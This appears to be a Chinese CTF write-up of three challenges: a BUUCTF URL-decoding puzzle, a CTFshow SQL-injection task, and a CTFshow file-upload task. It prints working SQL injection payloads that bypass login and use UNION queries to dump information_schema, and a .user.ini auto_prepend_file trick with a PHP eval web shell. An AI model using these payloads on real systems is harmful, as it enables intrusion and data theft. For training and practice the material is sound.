目录
1.BUUCTF[ Crypto—Url编码 ]
题解:
打开文件,获得一串符号,是URL编码,用工具解码,获得flag{and 1=1}
知识点:
1.URL 是由一些简单的组件构成,比如协议、域名、端口号、路径和查询字符串等,路径和查询字符串之间使用问号?隔开。
2.URL 中规定了一些具有特殊意义的字符,常被用来分隔两个不同的 URL 组件,这些字符被称为保留字符。例如:
" : "用于分隔协议和主机组件
" / " 用于分隔主机和路径
" ? "用于分隔路径和查询参数等。
" = "用于表示查询参数中的键值对。
" & "符号用于分隔查询多个键值对。
其他保留字符有:/ . … # @ $ + ; %
3.URL编码:当 URL 路径或者查询参数中,带有中文或者特殊字符的时候,就需要对 URL 进行编码(十六进制编码格式)。
2.CTFshow[ web6 ]
SQL注入
使用万能账号 a'or(true)# 输入用户名,不用输入密码。
使用注释符/**/绕过括号() a'/**/or/**/true/**/#
有显示,
联合查询,获取数据库:
a'union/**/select/**/1,database(),3#
获取数据库中的表:
a'union/**/select/**/1,(select(group_concat(table_name))from/**/information_schema.tables/**/where/**/table_schema='web2'),3#
获取表中的字段:
a'union/**/select/**/1,(select(group_concat(column_name))from/**/information_schema.columns/**/where/**/table_schema='web2'and/**/table_name='flag'),3#
获取 flag:
a'union/**/select/**/1,(select/**/flag/**/from/**/flag),3#
得到ctfshow{d78498aa-f21c-436e-8962-a0c08b9938b2}
3.CTFshow[ web13 ]
文件上传漏洞
上传.user.ini文件 :auto_prepend_file=a.txt
上传文本文件a.txt :<?php eval($_POST['a']);
用post发送 : a=print_r(glob("*")); 查看当前目录文件
post发送:
a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
获得flag
知识点:
php中的.usr.ini:
PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.usr.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。在.usr.ini中输入auto_prepend_file =a.txt,这样在该目录下的所有文件都会包含a.txt的内容